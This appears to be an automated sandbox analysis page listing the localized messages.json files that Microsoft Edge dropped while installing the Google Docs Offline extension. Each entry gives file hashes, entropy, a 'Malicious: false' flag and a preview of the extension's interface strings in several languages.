Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

